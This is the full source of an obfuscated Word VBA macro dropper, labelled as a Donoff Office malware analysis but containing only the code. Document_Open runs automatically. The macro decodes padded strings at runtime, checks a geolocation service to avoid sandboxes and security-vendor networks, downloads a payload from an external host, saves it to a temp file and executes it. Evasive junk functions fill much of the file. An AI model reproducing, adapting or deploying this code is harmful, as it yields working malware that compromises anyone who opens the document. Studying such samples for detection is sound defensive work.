Donoff — Office (OLE) malware analysis

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pHcsClRniwplH(ByVal jFPWob As Integer) As String
CXQHdHESAYJ
NlawqTVj 8198
If LoWmxHHAdnkcG(8828, "Y3C1NecuAUb8v") Then
bkiebRkjHkQDP
ckKAXJpP = 7276
VjseeDk 4905, "Lvd3YYLXv"
NrPdBhmTrs
End If
FbOXp = "SCchnGJkC"
pHcsClRniwplH = "AWCXOWW4jg3s"
End Function
Private Function xRkmyooVbfiRm() As Integer
gluld False
NddiwZiAVDrxL 2233, "l7iGbQKzF"
xeNdy
xRkmyooVbfiRm = 5204
End Function
Private Function iNPFokkC() As String
If zJwVqFrGdixs(9126) Then
jMvYIgrDh = 8634
iNVwzkN
Else
nhMNqsYFSbC True
yQysFnyzbDZo
fInjSZEl
End If
VAPiSFF = True
iNPFokkC = "zptCt65BFQ"
End Function
Private Sub Document_Open()
QVnNCcXvlL.iCpakVZeCT
End Sub
Private Function hQFNqSePiDzH(ByVal rxFEpXBBZ As String, ByVal IySSFXPU As Integer) As Integer
IcJpiU 4374
RRZkjmyw
pVSPzpeCEnr
If EJjLjpYekqOoCB Then
XmXxm
Else
CPIhcUaAyTn = "nDrsquweZ"
WkpeVrbR
EjZrkDe
End If
hQFNqSePiDzH = 1337
End Function

Attribute VB_Name = "QVnNCcXvlL"
Private Function ojSnSDTExJOWb(ByVal NIFzuMvfiNewUn As Object, ByVal ZIepALUNDt As Boolean) As Object
Dim KjWFKkkJL As Integer
QLXxpOBhwlhV = False
Set ojSnSDTExJOWb = NIFzuMvfiNewUn
End Function
Public Sub iCpakVZeCT()
On Error GoTo tNgvqpEUA
ffIHdnKHfZWHX.CticlUV
dNGRSKbIDDWcuT = True
ffIHdnKHfZWHX.EmWqUSUGZp
pGnbI
Exit Sub
TdbOW = 5724
tNgvqpEUA:
End Sub
Private Sub pGnbI()
Dim dlfmUU As String
Dim CjpLsUVSLE As Integer
LoNeO = "sc1rp3NifL"
GASxp 5737, CTAMnQWAubK.ZLOuJCL, xWgdXrlZBWuP
zqhUrdB = 6867
CTAMnQWAubK.udLrhWHkcxLkU 6258, CTAMnQWAubK.ZLOuJCL
End Sub
Public Function dIwMSwgx(ByVal HPJGtjEmSuip As String) As Object
Dim XZfhKVNXcZ As String
Dim fqKuHBNbgP As Boolean
qqtYieTo = "4D2uYIQqCcw3a"
Set dIwMSwgx = ojSnSDTExJOWb(CreateObject(HPJGtjEmSuip), True)
End Function
Private Function KZvuKGdyBpFn(ByVal eHEYITVaTp As String) As Integer
If WYUdFCsXtkMPC(8404, "DlG24s7qxSLWwcV") Then
fAUHXX = 7354
HfIkuyy
QnqgKtm
FUHyw
CeLBYjPNjJef = "AhpWQXWi5x83"
Else
qGHdPxSs
xtBBcRAhA "faNUIk7FLdVy7", 4897
QcmSIRml
End If
BvzuWEgyFhc 4147, 3708, 9625
KZvuKGdyBpFn = 2465
End Function
Private Sub GASxp(ByVal WWrNcVjPShiw As Integer, ByVal RVmfGL As String, ByVal IeWwLPgnARxQ As String)
Dim FcBjp As Integer
Set URQLVGCQMLQnC = pkqTZtOABnS.lGKGccIz(IeWwLPgnARxQ, 7913, True)
pkqTZtOABnS.qtXnXvDetOI "cPRQi3EVbLSBy", TRgmjf, 3895, URQLVGCQMLQnC
jWHzmeypI = True
CTAMnQWAubK.XYQnaXHgRI 6655, hSsoQqtUpPG.BjHUDq(2621, URQLVGCQMLQnC, "nCOWZkpCMj", rFHSReIvvy.jFgeDtZR("R3eUgs/po3n3UsCeUBgodgyc", "rUg9cC/3")), "ZzzaFePpCcAMot", RVmfGL
End Sub
Private Function xWgdXrlZBWuP() As String
xWgdXrlZBWuP = rFHSReIvvy.jFgeDtZR("RhtXt5Gp:MM//GjncjRb5-jtrveGMnMdMsv.cGoMm5X/cRMatRXalvovgXv/oRf5fjGicvXeX1v2.RvdvaXt", "RvX5GjM")
End Function
Private Function TRgmjf() As String
TRgmjf = rFHSReIvvy.jFgeDtZR("TCTanTh'tSG d:ojwGunl8uoa:8d: bhi18nSar1y1L f:SiLlLe", "L8G:TjS1uh")
End Function

Attribute VB_Name = "rFHSReIvvy"
Private Sub EvyWP()
eybiUHGFiaeXl False, 4187, False
znARADzan 3928, True, 3091
End Sub
Public Function vIxLLCH(ByVal nCaMXA As String, ByVal QkTDvwAnT As Boolean, ByVal kKfWIsXrRCCHit As String) As String
Dim dAlEcvlm As Boolean
Dim ZsZikCzuCiwt As Integer
NMZhI = "VJAA5WwFO"
vIxLLCH = nCaMXA & kKfWIsXrRCCHit
End Function
Private Sub UWeHDtQbqDFgzG()
aHDCIbkVmc 3835, "eyFi4ZbdgET3LwD", 8764
YGgZesmdkyuX 5484, 760, 7177
WvKQtURs = 3182
yKrTEZeJW
End Sub
Private Function YUeBCncaVxJU(ByVal vAYfpMY As String, ByVal jjvrGaiM As String) As String
If Not epuOzwMhOZ.IspwCFfyxLfe("ZYF0qYJPgffx", jjvrGaiM, vAYfpMY, "7QqokYaojQ") Then
YUeBCncaVxJU = jjvrGaiM
End If
End Function
Private Function aJNMTts() As Integer
PejapbhRtB = "ZNcgbHqeGr1CeD"
aJNMTts = 1
End Function
Public Function jFgeDtZR(ByVal NuRDbw As String, ByVal KUqxP As String) As String
Dim JrPKWfOsXtvtOE As String
Dim hwOmZvpItBrQz As String
Dim MzgjguVHuyp As Integer
For OJsqEQr = aJNMTts To epuOzwMhOZ.PohYDKt(NuRDbw)
JrPKWfOsXtvtOE = YUeBCncaVxJU(KUqxP, epuOzwMhOZ.fydwo(NuRDbw, 9996, OJsqEQr, True))
jFgeDtZR = vIxLLCH(jFgeDtZR, True, JrPKWfOsXtvtOE)
Next
End Function

Attribute VB_Name = "pkqTZtOABnS"
Private Sub rfMDkLdr(ByVal iPKCEZez As String)
BBRsRl
oytrx
ZgoUBmbqZYCxdd
End Sub
Public Function lGKGccIz(ByVal WXkOdFsEIdsBf As String, ByVal oqjgKo As Integer, ByVal WbsMhSHPSmse As Boolean) As Object
Dim aqOkRAnlFCM As Integer
Set lGKGccIz = QVnNCcXvlL.dIwMSwgx(rFHSReIvvy.jFgeDtZR("TWLinZHKytktkp.TWTkinkHTZtKtZpkRNeqkuTNesKZt.335Z.k1", "yZNKL3Tk"))
hSsoQqtUpPG.ipXBnGYcKIvFrK lGKGccIz, "OAVas6KTwR", rFHSReIvvy.jFgeDtZR("OY1pAenq", "AYqUGCmKl 1:"), ahmvJLOPKnF, False, WXkOdFsEIdsBf
hSsoQqtUpPG.BRiTCrvTtncYFm rFHSReIvvy.jFgeDtZR("U.vsexrx-vjAgoevonYt", "vxYkoPj."), snLzbYA, 1743, krbCtAVEpT, lGKGccIz
End Function
Private Function KbbcQSpaviTHwE() As Integer
KbbcQSpaviTHwE = 400
End Function
Public Sub qtXnXvDetOI(ByVal XcungeP As String, ByVal TInLYLnSOGiJbl As String, ByVal CoEmPoQKaAu As Integer, ByVal EDgBUzW As Object)
Dim qRuvKpon As Boolean
hSsoQqtUpPG.PxawXdcxy True, rFHSReIvvy.jFgeDtZR("SMgen4ad", "Ya4M:g"), EDgBUzW
If hSsoQqtUpPG.BjHUDq(2621, EDgBUzW, "KhkX6KFqn9Cz", gJvwoe) >= KbbcQSpaviTHwE Then
Error 5
End If
End Sub
Private Sub EvsblFERcs()
IRsgxCB = 6773
cCaXWENcn True
If VNEEvxgMaXfy("NJGMGGtLsvrulx9") Then
mahhEZ = 6773
HgBXUUwJu
DPepiKWRawbG
Else
vsyQDwQhNYLEA
End If
End Sub
Private Function ahmvJLOPKnF() As String
ahmvJLOPKnF = rFHSReIvvy.jFgeDtZR("gG/ETD", " 3g/KD")
End Function
Private Function snLzbYA() As String
snLzbYA = rFHSReIvvy.jFgeDtZR("mSexztyRe qz u8esItIHNeJaI8dzeIr", "N JIyz8xm")
End Function
Private Function krbCtAVEpT() As String
krbCtAVEpT = rFHSReIvvy.jFgeDtZR("MBoqgzgilABlJa/JD4g.0DB (gcAJomqgpaAtDiAbgqlgeB;g MDDSgIgED 8Bq.0P;gJ WgJinBJdogwBsqq qNTDP P5.AP1B;A DTrPiAdqAeAnPt/g4J.J0J)D", "BAJPgDq")
End Function
Private Function gJvwoe() As String
gJvwoe = rFHSReIvvy.jFgeDtZR("SnntQaftuYsQ", "QdhxwfYn")
End Function

Attribute VB_Name = "hSsoQqtUpPG"
Public Sub PxawXdcxy(ByVal owZzlMOJZD As Boolean, ByVal WYFEWzKeh As String, ByVal YqaZj As Object)
CallByName YqaZj, WYFEWzKeh, 1
End Sub
Private Function TLDgcg(ByVal JETeEW As Boolean, ByVal IIbDjYuoFXdbu As String) As String
GUKlAgbvjLMOy = 7610
If lrwtMFp Then
gphqAmtJWKSR
pLVklHyovlGK "cnkHMKSKqTRyEr"
End If
TLDgcg = "ygWysHBf78pu4"
End Function
Public Sub ipXBnGYcKIvFrK(ByVal wazlb As Object, ByVal IcMzGUvYt As String, ByVal tUIcp As String, ByVal qiJDvjle As Variant, ByVal zdQVBvfFQ As Variant, ByVal ejxEIBXZGwtu As Variant)
Dim sjnSzq As Integer
CallByName wazlb, tUIcp, 1, qiJDvjle, ejxEIBXZGwtu, zdQVBvfFQ
End Sub
Public Sub DzIwoQUinVMo(ByVal YsQknUmNd As String, ByVal cCtmbOqF As Object, ByVal NkkMDzwz As String, ByVal BimJCD As Integer, ByVal LkRKwOvHAWB As Variant)
CallByName cCtmbOqF, NkkMDzwz, 4, LkRKwOvHAWB
End Sub
Public Sub BRiTCrvTtncYFm(ByVal xOwbUbe As Variant, ByVal KzzlvLEcRco As String, ByVal CPBeU As Integer, ByVal vCWsY As Variant, ByVal wVOPpBiGYgPA As Object)
Dim WMQQYzTW As Integer
Dim iNhldf As Boolean
CallByName wVOPpBiGYgPA, KzzlvLEcRco, 1, xOwbUbe, vCWsY
End Sub
Private Function tQfSy(ByVal bfnwIdZlPcuVmr As String) As Integer
If sVjbjsgssZed Then
QGOEjjMj 7315, False, "OTRxpyNsjt"
mSQpboBmDicS = True
End If
tQfSy = 8393
End Function
Public Function eVaaNJaeQN(ByVal ZQngovR As String, ByVal lTOhkOaGlrRb As String, ByVal ydVnrapqvLd As Boolean, ByVal HfDBEuwq As Object) As Object
Dim QUPoCwuD As Integer
Dim kTdIMHVztKqXA As Boolean
gtlXFkqMDeMrdF = 7648
Set eVaaNJaeQN = CallByName(HfDBEuwq, ZQngovR, 2)
End Function
Private Sub camYNuvI()
cWUUepvmOUPSSV False, 112
End Sub
Public Sub czMcc(ByVal QsgTqvGOxIZZ As String, ByVal eXueuQEeckr As Variant, ByVal ANLIJP As String, ByVal aqFakrHnlHRTjg As Object, ByVal nTPTYXb As String)
Dim BnXXMcneQca As String
CallByName aqFakrHnlHRTjg, QsgTqvGOxIZZ, 1, eXueuQEeckr
End Sub
Public Function FjOfEZbDkRYyj(ByVal DSUIv As Integer, ByVal ccMscJTI As String, ByVal XwdTBgWz As Object, ByVal VxOccTUkkETVT As Variant) As Variant
Dim lCvMhXAmVkiwKh As Integer
Set FjOfEZbDkRYyj = CallByName(XwdTBgWz, ccMscJTI, 2, VxOccTUkkETVT)
End Function
Public Function BjHUDq(ByVal loRXJ As Integer, ByVal GmpRYOGeiImYd As Object, ByVal NVMhzFUggUkhOd As String, ByVal clHvArsfCslff As String) As Variant
BjHUDq = CallByName(GmpRYOGeiImYd, clHvArsfCslff, 2)
End Function

Attribute VB_Name = "ffIHdnKHfZWHX"
Private Function MweIEUkm(ByVal YiMWmeU As String) As Boolean
hJCDUrRAXyY 6824, "zj9yR4Qosvj"
eALLrxbYiYRaO "nXWlKQfrmZPn", 3665
MweIEUkm = True
End Function
Private Function cAXJJMjoUnWlQa() As Integer
cAXJJMjoUnWlQa = 3
End Function
Private Function xRCBCOEufzH() As Integer
Dim rbJTMvaJetZM As Integer
Dim kPdLOqkex As Integer
xRCBCOEufzH = hSsoQqtUpPG.BjHUDq(2621, hSsoQqtUpPG.eVaaNJaeQN(Putvq, "y4YcN2lxzfu", False, Application), "VyV2zzv6XdI", PluklqjF)
End Function
Private Function kTZIgm() As String
VYfqjQZuJP = 4178
Set URQLVGCQMLQnC = pkqTZtOABnS.lGKGccIz(xvcLl, 7913, True)
hSsoQqtUpPG.BRiTCrvTtncYFm gacVaHTNc, oXdYdqT, 1743, rFHSReIvvy.jFgeDtZR("OhRtOtCp1s:5/Ku/KwBwOwu.1mCaxYmKiYnud2f.cYoum5/fe2nO2/lYoCcuKa2t2e-2m5y5-RRi5p-2au5ddRr1Ceuss1", "2f5B1YKuCRO"), URQLVGCQMLQnC
pkqTZtOABnS.qtXnXvDetOI "15rce8Z4smcnodv", DiJPiComdZMlH, 3895, URQLVGCQMLQnC
kTZIgm = hSsoQqtUpPG.BjHUDq(2621, URQLVGCQMLQnC, "X2T6Zy1NgC", sBdmbYBEOPny)
End Function
Private Function CCwILGHaXMFjCc() As Variant
Dim lfhLiDQuptu As Boolean
LqYrBSadwyanD = "qZQqM9Itlsk"
CCwILGHaXMFjCc = Array(OzXyxmjhu, rFHSReIvvy.jFgeDtZR("AMMnwon yr moh9u8s", "39M8whjair L"), ZVNqJEg, rFHSReIvvy.jFgeDtZR("CGiENsncoL wSwy4NstLGeNmsw", "njGFNwLT4IE"), UWRLEPGq, rFHSReIvvy.jFgeDtZR("Dlahtkkal Ckemnltkekrm", "hRumkl"), DSVJDuiVk, rFHSReIvvy.jFgeDtZR("/ESjyETy,Xc XspXRoul", "yjRc/XOt5u."), rFHSReIvvy.jFgeDtZR("jFi7jrewEjIywe", "7Sk JIjBbw2W"), rFHSReIvvy.jFgeDtZR("Fsgor2EceKdpo.ig2nyt", "gy8kEKds2."), KgVkp, VszXzOJ, GNzwwGybhKeSM, rlRUo, rFHSReIvvy.jFgeDtZR("dMjic3jrnodsoajf5t", "d5nja3"), rFHSReIvvy.jFgeDtZR("NQ.Fo.rhzceh", "HuD.qQhz"), QbuiQre, OWtzMGLCOrkQGP, rFHSReIvvy.jFgeDtZR("SAeEcIuF5rEit3y5", "4E3Z5IAF"), rFHSReIvvy.jFgeDtZR("SHe9r6vHqerm", "Hq9waNbm6cf"), rFHSReIvvy.jFgeDtZR("1St6rFoFnFg6 LT61e1cwh0no6lwofLgFie0Fs", "L6Ef0UwF1"), rFHSReIvvy.jFgeDtZR("GTrweWnwdGw MkWicWrNKo", "KGWVNwkj"), wsRPzXrZHb)
End Function
Public Sub CticlUV()
Dim kWxWRjNSxdvcb As Integer
Dim AWHYCMNwt As String
If xRCBCOEufzH < cAXJJMjoUnWlQa Then
Error 3
End If
End Sub
Public Sub EmWqUSUGZp()
Dim ebblmPTSnatmts As String
Dim jFyPGCAEXrjXlT As Integer
Dim mQvPTRnV As String
ebblmPTSnatmts = kTZIgm
rIQYbC = "7wGk3iHk8"
For Each atMhJCV In CCwILGHaXMFjCc
If epuOzwMhOZ.IspwCFfyxLfe("RQNsETFdbiPgNE", atMhJCV, ebblmPTSnatmts, "mw9rf8j5Sl") Then
Error 3
End If
Next
End Sub
Private Function AJVQbMAXhCw(ByVal CnjJbUdAezUF As Integer, ByVal xvzxo As Integer) As Boolean
If qzlcjLg("yNmSqzvXYlL", 1645, 8686) Then
uEWVKIVDXukfVo 6018, 9521
rtYGgRILTIAVP = "bBk7FjlKuJMTXcu"
FfQZfEkTmIRLz "SiH8PDpXCNguYo"
End If
AJVQbMAXhCw = False
End Function
Private Function Putvq() As String
Putvq = rFHSReIvvy.jFgeDtZR("REeCEceWnptOEFEiOlZeCs", "pWZOAC7E3")
End Function
Private Function PluklqjF() As String
PluklqjF = rFHSReIvvy.jFgeDtZR("CNoKXun:tS", "NSXm0YK:1gVT")
End Function
Private Function xvcLl() As String
xvcLl = rFHSReIvvy.jFgeDtZR("h6t3Zt6plsB:/3/Ww4wBwW4.m6aWxB6milSnWdS.Gco43ml/g4eBZobiZp/bvW62O.91/4Oc9iWty43/mle6", "G4l9ZOb6BW3S")
End Function
Private Function gacVaHTNc() As String
gacVaHTNc = rFHSReIvvy.jFgeDtZR("LRekMfeMMrkeMr", "L93MVkK5")
End Function
Private Function oXdYdqT() As String
oXdYdqT = rFHSReIvvy.jFgeDtZR("/Sebt:/RQe2qubQesWtobHe abbde rj", "5/W jo:Qb2")
End Function
Private Function DiJPiComdZMlH() As String
DiJPiComdZMlH = rFHSReIvvy.jFgeDtZR("OCaHnH'5tQ HcHoffn0neQOcQtQ OtzoO zhtz9t9p0s:f/H/OOwwbOw.55maHzxmzHin9df5.5co5mQ5/g0Feo0i9pQ/0zv25b.1fb/czi05tyz5/mO0e", "FOz95bH0Qf")
End Function
Private Function sBdmbYBEOPny() As String
sBdmbYBEOPny = rFHSReIvvy.jFgeDtZR("iRaeEsipoJnaAsVeJTAeuxtu", "iJauVAE")
End Function
Private Function OzXyxmjhu() As String
OzXyxmjhu = rFHSReIvvy.jFgeDtZR("PA/maffzPoPn", "/9fPKS.Nr")
End Function
Private Function ZVNqJEg() As String
ZVNqJEg = rFHSReIvvy.jFgeDtZR("B77luWe7 NpCoZZat44 S7yWpstpWem4sp", "WNp74Z")
End Function
Private Function UWRLEPGq() As String
UWRLEPGq = rFHSReIvvy.jFgeDtZR("CPlGPo7uPd", "eZ1iP7GxIf4")
End Function
Private Function DSVJDuiVk() As String
DSVJDuiVk = rFHSReIvvy.jFgeDtZR("vDepvdAiAcapjt7edA", "vjKpAg7")
End Function
Private Function KgVkp() As String
KgVkp = rFHSReIvvy.jFgeDtZR("lHegtNz:n eggr", "N:lbJkw /Wxg")
End Function
Private Function VszXzOJ() As String
VszXzOJ = rFHSReIvvy.jFgeDtZR("HIofRsNteQdQ", "NfQZLRI")
End Function
Private Function GNzwwGybhKeSM() As String
GNzwwGybhKeSM = rFHSReIvvy.jFgeDtZR("HNo2YstA inYKg", "NA I2CYFK")
End Function
Private Function rlRUo() As String
rlRUo = rFHSReIvvy.jFgeDtZR("LO6eaCOse8WO6e6b", "Rl3QC8O6")
End Function
Private Function QbuiQre() As String
QbuiQre = rFHSReIvvy.jFgeDtZR("NFjoprtHh8 jATmFejFrippca8", "8jFpTH")
End Function
Private Function OWtzMGLCOrkQGP() As String
OWtzMGLCOrkQGP = rFHSReIvvy.jFgeDtZR("jOmVHN sdSjASN", "jLm:Ndas")
End Function
Private Function wsRPzXrZHb() As String
wsRPzXrZHb = rFHSReIvvy.jFgeDtZR("bIl3BacqkTBoTaIkc7noqmDpu3tXe3rnTs", "qT7vnIXPB3dD")
End Function

Attribute VB_Name = "epuOzwMhOZ"
Private Function IPOWe(ByVal EOimwrpAM As String, ByVal TvbLkFrprbdRPM As Boolean) As Integer
pxVWzDpfvL = 6416
BrdqaJiuTFCP False
EWGZkYaR
BEpQEYfT
IPOWe = 4697
End Function
Public Function IspwCFfyxLfe(ByVal CQwCSPA As String, ByVal nxmBcJYaN As String, ByVal sWbtvWttAmtQH As String, ByVal eBZJDDJC As String) As Boolean
Dim eJcsvAFKrZ As Integer
IspwCFfyxLfe = InStr(sWbtvWttAmtQH, nxmBcJYaN) <> 0
End Function
Private Function jWzLfGM(ByVal mxYNfeZVcwCgBH As String) As Integer
MiuOtO "4JNZ4h01wgs", "PFFnsLfmbIVN"
qeVVBdcLGvJoQI = "3d9CvSBF5G96vgU"
jWzLfGM = 3138
End Function
Public Function fydwo(ByVal hBMzzofqDLAGTO As String, ByVal SgsqHyQzq As Integer, ByVal cNdiRK As Integer, ByVal rDMKAUMhdSO As Boolean) As String
Dim FENVbWfYgf As Boolean
fydwo = Mid(hBMzzofqDLAGTO, cNdiRK, 1)
End Function
Private Sub SYrZyEsfBkv()
If eoGGJDFtvuvANv("B2Ht8hVr5JxT") Then
SVtXJZdA
RXZGqcWQQcIY
End If
MNMWqZ
yrhrXaicDwSpe
End Sub
Public Function PohYDKt(ByVal OIdQaOcpl As String) As Integer
Dim UcSvxXPnQ As Integer
PohYDKt = Len(OIdQaOcpl)
End Function
Private Function oQUlWHbDkSNof(ByVal rleZPR As Boolean) As Boolean
FjOPnB 4144
EsFUXrLhWzZw
JXgfJvTNVEUbX
If wBsXUxMeNnZ("SRAWHKQOZDwF", 6376) Then
cIJDq
Else
owVmRTaXxW "6n6SxoNvC"
WLhynx 1766, 4423, False
RTwsmmOBf
fJTxnjLwROp = "l9ozd7vlTf"
End If
kCRuEUrsg = 2710
QzbQWpsxnmi 8750
AitjVqKOewkQj
twwEZewuzg "1krBiJ52R8VY", "OoSbeIuFdwG", 4702
oQUlWHbDkSNof = False
End Function

Attribute VB_Name = "CTAMnQWAubK"
Private Function zCYQNtdIGBGlt(ByVal ndwKqsc As String) As String
yrwVPXqSppffQB = "oLtpOOZfZ"
HWnIXp
eLGeXaq "AQABKkzh2KMs"
xbLjx = "l6B9H3AqkWSGX"
zCYQNtdIGBGlt = "eOg7h4gWK0"
End Function
Private Function rguieJsnKCKDvE(ByVal oVlPLckBq As Integer) As Integer
qrOehVEqXLp 6923, True
hSPsqOvUWXj = "86aPUu6ZVTmEmne"
nweQf 9738, "wjR9LF41HyJh", 8107
rguieJsnKCKDvE = 4016
End Function
Private Function GUqNQlAeVeIBs(ByVal HwgMnoEXe As String) As String
Dim oMmrS As String
PJdrP = "kcW41CG1JJn"
Set bxZCbtjTyyzFUD = hSsoQqtUpPG.FjOfEZbDkRYyj(1444, ShPFjSKLHSO, QVnNCcXvlL.dIwMSwgx(QcDIOcfiSW), NZrrYpG)
bDCqTT = 3961
GUqNQlAeVeIBs = bxZCbtjTyyzFUD(HwgMnoEXe)
End Function
Public Sub udLrhWHkcxLkU(ByVal nZssGRaNMQUr As Integer, ByVal KnllQZyyqXQkKh As String)
Dim yesPKRSQg As String
hSsoQqtUpPG.czMcc rFHSReIvvy.jFgeDtZR("ECxCeMcw", "wM3n.C:z"), KnllQZyyqXQkKh, "gWxItYcGZ", QVnNCcXvlL.dIwMSwgx(rFHSReIvvy.jFgeDtZR("sWRSQcrQiTpUot.TsSfhsel/lT", "fTzRsAoQU/")), "8tkipxl6tpyRX"
End Sub
Public Function ZLOuJCL() As String
ZLOuJCL = GUqNQlAeVeIBs(rFHSReIvvy.jFgeDtZR("TcEolMPc", ":yIolcUDWawr")) & ArNyh & rCHhtAL
End Function
Private Function ArNyh() As String
Dim aXoLdegxfq As Boolean
ArNyh = hSsoQqtUpPG.BjHUDq(2621, Application, "PDcpqE8V2E", rFHSReIvvy.jFgeDtZR("GPga4tyhVSeypVgarGaytfoGGr", "JyGf4F2Vg"))
End Function
Public Sub XYQnaXHgRI(ByVal vXBpDhImbwwP As Integer, ByVal BQvZRvxvd As Variant, ByVal euLygiwCErg As String, ByVal ASZOTOH As String)
Set omNZYTDpdhNdq = QVnNCcXvlL.dIwMSwgx(IiqYySplxBYa)
hSsoQqtUpPG.DzIwoQUinVMo "czxeF1BP5tu", omNZYTDpdhNdq, rFHSReIvvy.jFgeDtZR("TMykplek", "gDkYr50MQlB"), 8795, 1
hSsoQqtUpPG.PxawXdcxy True, ZpujxtpfyCBZ, omNZYTDpdhNdq
hSsoQqtUpPG.czMcc pXyxRB, BQvZRvxvd, "YMEK2GqVI69M", omNZYTDpdhNdq, "pB6TAGWVfS"
GjqQvA = "ur4rX71SYxXDRsS"
hSsoQqtUpPG.BRiTCrvTtncYFm ASZOTOH, rFHSReIvvy.jFgeDtZR("SuDavIjeITIouFiIuleD", "gj8IuD"), 1743, 2, omNZYTDpdhNdq
MPlInkHGxlU = 7833
hSsoQqtUpPG.PxawXdcxy True, rFHSReIvvy.jFgeDtZR("C8lzzoRseq", "RY8q7I zS"), omNZYTDpdhNdq
End Sub
Private Function ShPFjSKLHSO() As String
ShPFjSKLHSO = rFHSReIvvy.jFgeDtZR("XEDnvD:irNoKnKm9/eYnXt", ":KDNY/X9")
End Function
Private Function QcDIOcfiSW() As String
QcDIOcfiSW = rFHSReIvvy.jFgeDtZR("WTS4Hcfr4iIptJn.JSHhef4lnl", "IfT4nHJ2yv")
End Function
Private Function NZrrYpG() As String
NZrrYpG = rFHSReIvvy.jFgeDtZR("PBRssOCpoESfSp", "NfBQosp")
End Function
Private Function rCHhtAL() As String
rCHhtAL = rFHSReIvvy.jFgeDtZR("yt0mpyj45P40y5.Gxtmqyp", "WjGy0HPqx")
End Function
Private Function IiqYySplxBYa() As String
IiqYySplxBYa = rFHSReIvvy.jFgeDtZR("iA7DO7ZDJB.Z7StdrJe7Namd", "il7JZdQNY")
End Function
Private Function ZpujxtpfyCBZ() As String
ZpujxtpfyCBZ = rFHSReIvvy.jFgeDtZR("SOpuewun", "wvSyz mCu5L")
End Function
Private Function pXyxRB() As String
pXyxRB = rFHSReIvvy.jFgeDtZR("2WKrPicteI", "2CmsIzcPTK")
End Function